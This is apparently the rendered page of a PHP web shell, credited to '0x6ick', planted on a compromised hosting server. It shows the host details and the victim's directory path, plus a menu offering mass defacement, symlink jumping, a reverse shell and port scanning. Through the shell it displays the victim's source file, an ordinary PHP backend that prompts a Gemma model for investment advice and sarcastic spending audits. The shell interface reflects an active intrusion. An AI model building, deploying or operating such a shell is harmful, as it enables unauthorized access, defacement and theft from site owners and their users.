Tul xxx Tul
User / IP
:
216.73.216.159
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
progressgym
/
modules
/
inversiones
/
Viewing: actions_ia.php
<?php /** * Micro-Inversiones & Auditor de Gastos - Backend AI (Gemma 4 31B via Google AI Studio) * Endpoints: generate (inversión), audit (auditoría del mes), delete_history, delete_audit */ require_once __DIR__ . '/../../config/database.php'; require_once __DIR__ . '/../../config/openrouter.php'; if (empty($_SESSION['user_id'])) { echo json_encode(['success' => false, 'error' => 'No autorizado']); exit; } if ($_SERVER['REQUEST_METHOD'] === 'POST') { header('Content-Type: application/json'); $db = getDB(); $uid = $_SESSION['user_id']; $duo = getDuoId(); $action = $_POST['action'] ?? 'generate'; try { // ── Eliminar historial de inversiones ── if ($action === 'delete_history') { $id = (int) ($_POST['id'] ?? 0); $stmt = $db->prepare("DELETE FROM inversiones_historial WHERE id = :id AND usuario_id = :uid AND duo_id = :duo"); $stmt->execute([':id' => $id, ':uid' => $uid, ':duo' => $duo]); echo json_encode(['success' => true]); exit; } // ── Eliminar historial de auditorías ── if ($action === 'delete_audit') { $id = (int) ($_POST['id'] ?? 0); $stmt = $db->prepare("DELETE FROM auditorias_historial WHERE id = :id AND usuario_id = :uid AND duo_id = :duo"); $stmt->execute([':id' => $id, ':uid' => $uid, ':duo' => $duo]); echo json_encode(['success' => true]); exit; } // ── Robo-Advisor: Análisis de inversión ── if ($action === 'generate') { $monto = (float) ($_POST['monto'] ?? 100); if ($monto <= 0) { echo json_encode(['success' => false, 'error' => 'Ingresa un monto válido mayor a 0.']); exit; } // Calcular proyecciones matemáticas para incluir en el prompt $tasa = 0.10; $calc = function($mensual, $anios) use ($tasa) { $meses = $anios * 12; $tasaMensual = $tasa / 12; $total = 0; for ($i = 0; $i < $meses; $i++) { $total = ($total + $mensual) * (1 + $tasaMensual); } return round($total, 2); }; $p5 = $calc($monto, 5); $p10 = $calc($monto, 10); $p20 = $calc($monto, 20); $prompt = "Eres un asesor financiero experto y accesible. El usuario dispone de \${$monto} USD mensuales para invertir.\n\n"; $prompt .= "Fecha actual: " . date('d/m/Y H:i') . "\n\n"; $prompt .= "Datos de proyección (interés compuesto al 10% anual, S&P 500):\n"; $prompt .= "- 5 años: \$" . number_format($p5, 2) . " (invirtiendo \$" . number_format($monto * 60, 2) . ")\n"; $prompt .= "- 10 años: \$" . number_format($p10, 2) . " (invirtiendo \$" . number_format($monto * 120, 2) . ")\n"; $prompt .= "- 20 años: \$" . number_format($p20, 2) . " (invirtiendo \$" . number_format($monto * 240, 2) . ")\n\n"; // Ángulos aleatorios para variabilidad $angulos = [ 'Enfócate en cómo este monto podría pagar un viaje soñado en el futuro.', 'Compara lo que ganaría Master vs alguien que deja el dinero debajo del colchón.', 'Usa una analogía deportiva o de videojuegos para explicar el interés compuesto.', 'Explica qué pasaría si Master hubiera empezado hace 5 años con este monto.', 'Enfócate en la libertad financiera: a qué edad podría Master dejar de trabajar con esta inversión.', 'Compara el costo de oportunidad: qué compran hoy esos dólares vs qué comprarían después de invertirlos.', 'Habla sobre el efecto bola de nieve y cómo los primeros años son los más difíciles pero cruciales.', 'Menciona cómo la inflación destruye el dinero parado y por qué invertir es defensa, no lujo.' ]; $anguloRandom = $angulos[array_rand($angulos)]; $prompt .= "Instrucciones:\n"; $prompt .= "1. Explica en términos simples y motivadores qué haría este dinero si se invierte vs si se deja parado.\n"; $prompt .= "2. Recomienda 2-3 opciones reales de inversión accesibles (ETFs como VOO, VTI, o similares), explicando brevemente cada una.\n"; $prompt .= "3. Menciona el poder del interés compuesto con un ejemplo memorable.\n"; $prompt .= "4. Da un consejo final inspirador y práctico.\n"; $prompt .= "5. Llama al usuario 'Master'.\n"; $prompt .= "6. ENFOQUE ESPECIAL: {$anguloRandom}\n"; $prompt .= "7. CRÍTICO: NO uses formatos de markdown. Nada de asteriscos dobles (**), ni hashtags (#), ni backticks. Solo texto plano con saltos de línea y viñetas simples (-). Texto limpio de sistema.\n"; $prompt .= "8. Sé conciso: máximo 300 palabras. Sé creativo y único en esta respuesta.\n"; $contenido = callGemmaAPI($prompt, $db); if ($contenido === false) { echo json_encode(['success' => false, 'error' => 'Error al comunicar con la IA.']); exit; } // Guardar en historial $stmtSave = $db->prepare("INSERT INTO inversiones_historial (usuario_id, duo_id, monto_invertido, proyeccion) VALUES (:uid, :duo, :monto, :proy)"); $stmtSave->execute([':uid' => $uid, ':duo' => $duo, ':monto' => $monto, ':proy' => $contenido]); echo json_encode([ 'success' => true, 'contenido' => $contenido, 'id' => $db->lastInsertId() ]); exit; } // ── Auditor de Gastos del Mes (El asesor implacable) ── if ($action === 'audit') { $mesActual = date('Y-m'); // Obtener SOLO gastos del mes actual en USD (no ingresos, no BS) $stmtGastos = $db->prepare(" SELECT monto, moneda, descripcion, categoria, fecha FROM gastos WHERE usuario_id = :uid AND duo_id = :duo AND tipo_movimiento IN ('gasto' COLLATE utf8mb4_unicode_ci, 'pago' COLLATE utf8mb4_unicode_ci) AND moneda COLLATE utf8mb4_unicode_ci = 'USD' COLLATE utf8mb4_unicode_ci AND DATE_FORMAT(fecha, '%Y-%m') COLLATE utf8mb4_unicode_ci = :mes ORDER BY monto DESC "); $stmtGastos->execute([':uid' => $uid, ':duo' => $duo, ':mes' => $mesActual]); $gastosDelMes = $stmtGastos->fetchAll(); if (empty($gastosDelMes)) { echo json_encode(['success' => false, 'error' => 'No hay gastos registrados este mes. Registra tus gastos en el módulo Dinero primero.']); exit; } // Construir JSON de gastos para la IA $gastosJSON = json_encode($gastosDelMes, JSON_UNESCAPED_UNICODE); $totalGastado = 0; $categorias = []; foreach ($gastosDelMes as $g) { $totalGastado += (float)$g['monto']; $cat = $g['categoria'] ?: 'Sin categoría'; if (!isset($categorias[$cat])) $categorias[$cat] = 0; $categorias[$cat] += (float)$g['monto']; } // Score de disciplina (0-100): penaliza gastos en categorías "frivolous" $catsFrivolas = ['Entretenimiento', 'Suscripciones', 'Ropa']; $gastoFrivolo = 0; foreach ($categorias as $cat => $total) { if (in_array($cat, $catsFrivolas)) $gastoFrivolo += $total; } $ratioFrivolo = $totalGastado > 0 ? ($gastoFrivolo / $totalGastado) : 0; $score = max(0, min(100, round(100 - ($ratioFrivolo * 150) - (count($gastosDelMes) > 30 ? 20 : 0)))); // Ángulos aleatorios para variabilidad del auditor $angulosAudit = [ 'Enfócate en el costo de oportunidad de cada gasto frívolo como si fuera una inversión perdida.', 'Compara los gastos del usuario con lo que un CEO exitoso haría con ese dinero.', 'Usa metáforas de guerra: cada gasto innecesario es una batalla perdida contra la pobreza.', 'Habla como si fueras el yo futuro del usuario, decepcionado de estas decisiones.', 'Enfócate en el efecto acumulativo: pequeños gastos diarios que se convierten en fortunas desperdiciadas.', 'Sé especialmente duro con gastos repetitivos o de "confort" que no generan valor.' ]; $anguloAuditRandom = $angulosAudit[array_rand($angulosAudit)]; // EL PROMPT ORIGINAL SARCÁSTICO del usuario $prompt = "Eres un asesor financiero de élite, multimillonario e implacable. Tu objetivo es sacar al usuario de la carrera de la rata. "; $prompt .= "Analiza el siguiente JSON de gastos (todos en USD). Sé muy duro, sarcástico y directo. "; $prompt .= "Detecta gastos estúpidos, calcula cuánto dinero perdió por no invertirlo al 8% anual, "; $prompt .= "y dale una cachetada de realidad en 3 párrafos cortos. No seas amable, sé efectivo.\n\n"; $prompt .= "Fecha actual: " . date('d/m/Y H:i') . "\n"; $prompt .= "JSON de gastos del mes (USD):\n{$gastosJSON}\n\n"; $prompt .= "Total gastado: \$" . number_format($totalGastado, 2) . " USD\n"; $prompt .= "Desglose por categoría:\n"; foreach ($categorias as $cat => $total) { $prompt .= "- {$cat}: \$" . number_format($total, 2) . "\n"; } $prompt .= "\nScore de disciplina calculado por el sistema: {$score}/100\n"; $prompt .= "\nInstrucciones adicionales:\n"; $prompt .= "1. Llama al usuario 'Master' pero de forma irónica cuando corresponda.\n"; $prompt .= "2. Calcula cuánto hubiera generado el dinero desperdiciado si lo hubiera invertido al 8% en 10 años (interés compuesto).\n"; $prompt .= "3. Identifica las 3 peores fugas de capital.\n"; $prompt .= "4. Termina con UN consejo que duela pero sea práctico.\n"; $prompt .= "5. ENFOQUE ESPECIAL: {$anguloAuditRandom}\n"; $prompt .= "6. CRÍTICO: NO uses markdown. Nada de **, #, ```. Solo texto plano con saltos de línea y viñetas simples (-).\n"; $prompt .= "7. Máximo 350 palabras. Sé conciso, despiadado y ÚNICO en esta respuesta. No repitas estructuras de respuestas anteriores.\n"; $contenido = callGemmaAPI($prompt, $db); if ($contenido === false) { echo json_encode(['success' => false, 'error' => 'Error al comunicar con la IA para la auditoría.']); exit; } // Guardar en historial de auditorías $stmtSave = $db->prepare("INSERT INTO auditorias_historial (usuario_id, duo_id, total_gastado, score, resultado, mes) VALUES (:uid, :duo, :total, :score, :res, :mes)"); $stmtSave->execute([ ':uid' => $uid, ':duo' => $duo, ':total' => $totalGastado, ':score' => $score, ':res' => $contenido, ':mes' => $mesActual ]); echo json_encode([ 'success' => true, 'contenido' => $contenido, 'score' => $score, 'total_gastado' => $totalGastado, 'categorias' => $categorias, 'num_gastos' => count($gastosDelMes), 'id' => $db->lastInsertId() ]); exit; } } catch (Exception $e) { echo json_encode(['success' => false, 'error' => 'Error del servidor: ' . $e->getMessage()]); } } /** * Llama a la API de Gemma 4 31B via Google AI Studio * Centraliza la lógica de cURL para ambos endpoints */ function callGemmaAPI(string $prompt, &$db = null): string|false { $ch = curl_init('https://generativelanguage.googleapis.com/v1beta/openai/chat/completions'); $payload = json_encode([ 'model' => 'gemma-4-31b-it', 'messages' => [['role' => 'user', 'content' => $prompt]], 'temperature' => 0.9, 'max_tokens' => 900 ]); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_HTTPHEADER => [ 'Authorization: Bearer ' . GOOGLE_GEMINI_API_KEY, 'Content-Type: application/json' ], CURLOPT_POST => true, CURLOPT_POSTFIELDS => $payload, CURLOPT_TIMEOUT => 60 ]); if ($db) $db = null; $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($db === null) $db = getDB(true); if ($httpCode !== 200 || !$response) { return false; } $json = json_decode($response, true); $contenido = $json['choices'][0]['message']['content'] ?? null; if (!$contenido) return false; // Limpiar respuesta $contenido = preg_replace('/<(thought|thinking|think)>.*?<\/\1>/is', '', $contenido); $contenido = preg_replace('/^#+\s+/m', '', $contenido); $contenido = preg_replace('/\*\*(.*?)\*\*/', '$1', $contenido); $contenido = preg_replace('/\*(.*?)\*/', '$1', $contenido); $contenido = str_replace(['```', '`'], '', $contenido); $contenido = trim($contenido); $contenido = preg_replace("/\n{3,}/", "\n\n", $contenido); return $contenido; }
Coded With 💗 by
0x6ick